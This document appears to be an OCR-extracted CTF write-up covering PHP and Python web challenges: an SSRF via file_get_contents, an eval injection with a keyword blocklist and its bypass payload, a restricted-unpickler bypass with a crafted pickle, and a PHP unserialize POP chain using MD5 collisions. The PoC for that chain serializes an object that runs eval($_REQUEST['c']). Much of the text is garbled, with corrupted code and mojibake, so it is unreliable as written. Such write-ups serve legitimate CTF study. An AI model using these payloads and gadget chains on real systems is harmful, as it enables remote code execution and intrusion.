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<html>

<bady>
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<cinput type='text’ names'site' style="width:1808px” value="https://bilibili.com/"/>
</Forms
</body>
</htals
<iphp
die();

show_source(__FILE_);

if (($_GET['user']===$_GET[ password'])||(mdS($_GET['user'])1=md5(§_GET[ password'1))) die(};
$Urlog $_GET["site’]

Spath

$url_schenm

Shost =

Srequest_url = L “/v/popular/all®.
|[5res = File_get_contents(Srequest_url);

if [[strstr(dres, Flag-))] die("you can't see my flag");

if($res){
eche "chlsSource Code:<jhis";
echo Srequest_url;
echa "chr /5"
echo $res;
Yelsed
echo "get source failed";
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$url = $ GET['site'];

$path = $ _GET[ 'path'];

$url_schema = parse_url($url);

$host = $url_schema[ ‘host'];

$request_url = $ur‘1.|“/V/popular‘/all'1.$path;
$res = file_get_contents($request_url);

if (strstr($res,"flag")) die("you can't see my flag"):
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<?php

/I error_reporting(E_NOTICE);
highlight_file(_FILE_);
@session_start();

$username = @$_GET['whoami'];
if(! @isset($username['admin'])||$username[‘admin’] = @md5($_SESSION['username'])) {
die(‘error!");

}else {

if(isset($_GET['code')) {

$admin = $_GET['code'];

$admin = addslashes($admin);
if(preg_match('/\
{openlog|syslog|readlink|symlink|popepassthrulstream_socket_server|scandir|assert|pcntl_exec|fwrite|curl|system|evallassert|flag|passthrulexec|system|chroot|chgrp|chown|shell_exec|proc_open|proc_get_status|popenlini_alter|in
$admin)) {

die(‘error!");

}

if (intval($admin)) {

eval("™ .$admin .("/hh.php™) )}");
}

}Yelse {

eval('$flag="".$admin . ";");

}

}

7>

X B$ SESSION[username]&null, BT LA R Bfd FH — A2 fimd58 5t47:  whoami[admin]=d41d8cd98f00b204e9800998ecf8427e

THE$_GET[code]&id T addslashesii$t, JoikH& T HEHeval(™ .$admin .("./hh.php™) ") XG5, BATITEN—TF -
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1 <?php 123

2 $a = 123; /
3 gabc = 'a';

4 echo "${${"abc"}}";
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2 #i&Payload: ?whoami[admin]=d41d8cd98f00b204e9800998ecf8427e&code=1${${print(
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3 else {
eval("$Flage"

Sagain

<?php

highlight_file(_FILE_);

@session_start(};

Susernine = @_GET[ 'whoami®];

if (I@isset(fusernane| adnin’])||$usernane["adnin"] f= EmdS(3_SESSION[ "username’]}) {
die(errari’);

else {

if(isset($_GET[ "code’])) {
$adnin = $ GET[ ‘code']:
$adnin « addslashes($admin);
i¢(preg_match( ' /Y

{openlog | syslog|readlink]symlink | pepepassthru| stream_socket_server|scandir|assert|pentl_exec|furite|curl|system|eval |assert|flag|
ie(error! "))

)

if (intval($admin)) {
cho ' .$admil

eval("" .sadmin .

} else {

eval("$flag="" .$admin . *";°);

»["18{s{print (" whoami .. Thn.php")}) ffheinu-desktop\neinus?7| . /hh.php
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import base64

import io

import sys

import pickle

import b

from flask import Flask, Response, render_template, request

app = Flask(__name__)

def read(filename, encoding="utf-8'):

with open(filename, 'r', encoding=encoding) as fin:

return fin.read()

class people:

def __init__(self, name, sex, age):

self.name = name

self.sex = sex

self.age=age

def __repr__(self):

return fpeople(name={self.name!r}, category={self.sex'r}, age={self.age!r})'
#==Hl

def __eq__(self, other):

return type(other) is people and self.name == other.name and self.sex == other.sex and self.age==other.age
class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):

if module[0:8] =="'__main__"

return getattr(sys.modules[__main__'], name)
raise pickle.UnpicklingError("global '%s.%s" is forbidden" % (module, name))
def here_load(s):

return RestrictedUnpickler(io.ByteslO(s)).load()
@app.route('/,methods=['GET','POST'])

def index():

if request.args.get('source'):

return Response(read(__file__),mimetype="text/plain’)
else:

return Response("/?source=")

@app.route('/app', methods=['GET"', 'POST"])

def inli():

if request.method == 'POST":

try:

pickle_data = request.form.get('data’)

if b'R" in base64.b64decode(pickle_data):

return 'no no no'

else:

result = here_load(base64.b64decode(pickle_data))
if type(result) is not people:

return'? ? 2 2"

correct = (result == people(b.name, b.sex, b.age))
if correct:

return Response(read('/flag.txt'))

except Exception as e:

return Response(str(e))

test = people('test', 'test','55")

pickle_data = base64.b64encode(pickle.dumps(test)).decode()

return Response(pickle_data)

__main__"

.0.0.0', port=8000)

if __name__ ==

app.run(host="

@app. route((|’
inll()
if t.method ==

pickle date

if b'R

.beden
le_data)
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odule, name))

A:

== other.name a self.age==other.age

2 BATH AT LLEE Python R P54k, HEHbREFHIname, sex, agel@tt, HHBEER— A peopleXtR, &id_ eq  MtbE:, BIRZkEflag ttiiZ, 4wE5POC:
import base64

data=b'c__main__\nb\n}(Vname\nVtest\nVage\nV13\nVsexinVnan\nubOc__main__\npeople\n)\x81}(Vname\nVtest\nVage\nV13\nVsex\nVnan\nub.'
print(base64.b64encode(data))
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<?php
error_reporting(0);
highlight_file(__FILE_);
class This{

protected $formatters;
public function want(){

echo "what do you want to do?";

}

public function __call($method, $attributes)

{

return $this->format($method, $attributes);

}

public function format($formatter, $arguments)
{
$this->getFormatter($formatter)->patch($arguments[0][1][0]);
}

public function getFormatter($formatter)

{

if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}

}

}

class Easy{

protected $events;

protected $event;

public function __destruct()

{
$this->events->dispatch($this->event);
}

public function welcome(){

echo "welcome CTFer!";

}

}

class Ctf{

protected $ban;

protected $cmd;

public function upup(){

echo "upupupupupupup!”;

}

public function __construct()

{

$this->ban="script';
$this->cmd="whoami';

}

public function dispatch($cmd){
call_user_func_array("script",$cmd);
}

}

class Gema{

protected $xbx;

public function gema(){

echo "wish you like this ezpOp!";

}

public function __construct()

{

$this->xbx="script’;

}

public function patch($Fire){
call_user_func($this->xbx,$Fire);

}

}

if($_POST['X]'=$_POST['y'] 8& md5($_POST['X])===md5($_POST['y'])){
if(file_get_contents(substr($_POST['x],0,20))!=null){
@unserialize(base64_decode($_POST['data'));
Yelse{

die('To read this file??");

}

else{

die('maybe you are right??');

}

7>
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1
1F($_POST['x"]!=$_POST['y'] && mdS($_| POST['X']}:*mdS@ POST['y"]1)){
if(file_get_contents(substr($_POST['x'], a 2B)j|=nu11){

Jelse{
die('To read this file??");

ERfile_get_contents ikt A%, FbN_ LRI FImdSHIT, FAiTix B wT LA A fastcoll 4= emd5 i 5T 2062 4././.1.1 //index.php,

o Using output filenames:
Using prefixfile: 'a.
Using initial value -!S!7M5e191597Fb883:F:5241536511

Generating first bloc|
Generating second block: sel.
S Running time: 1.288 s
”M*'d“ php PS C:\Users\57706\Desktop\Mds> .\fastcoll vi.0.8.5.exe 1.txt 2.txt
MDS collisicn generator vi.5
by Marc Stevens (http://wa.win.tue.nl/hashclashy)

Using output filaname: txt’ and '2.txt’
Using prefixfile:
Using initial value: 6bbbdgcSecd3casdsde37bedfa5214

Generating first block:

Generating
Running t4

PS5 C: \Users\s'lms\oesktap\ﬂdb -\fastcoll v1.8.8.5.exe 5 mdS1.txt md52.txt
MDS collision generator vi.5

by Marc Stevens (htip://www.win.tue.nl/hashclash,)

Using output filename: ndsl.txt and ‘mdS2.txt’

Using prefixfile: ‘a.txt

Using initial value: 19f1dd939dfc61cf3e9ec38d319a5¢c1fd

Generating first blocl

Generating second block: W..
Running time: 4.733 s

THEBEATIZEPOPHER, WK

$formatt:

format($formatter, $argumen
tFormatter($formatter)->patc
getFormatter($formatter)

rmatters[$formatt

call_user_:

ma{

% 5POC:
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<?php

class Gema {

protected $xbx = 'assert’;

}

/I AAAAAAAAAAAAAA

class This {

protected $formatters = ['dispatch’ => 'obj..."];
public function __construct($obj){

$this -> formatters['dispatch'] = $obj;

}

}

class Easy{

protected $events;

protected $event = [1 =>['eval($_REQUEST["c"])];
public function __construct($obj)

{

$this -> events = $obj;

}

}

$obj = new Easy(new This(new Gema()));

echo base64_encode(serialize($obj));
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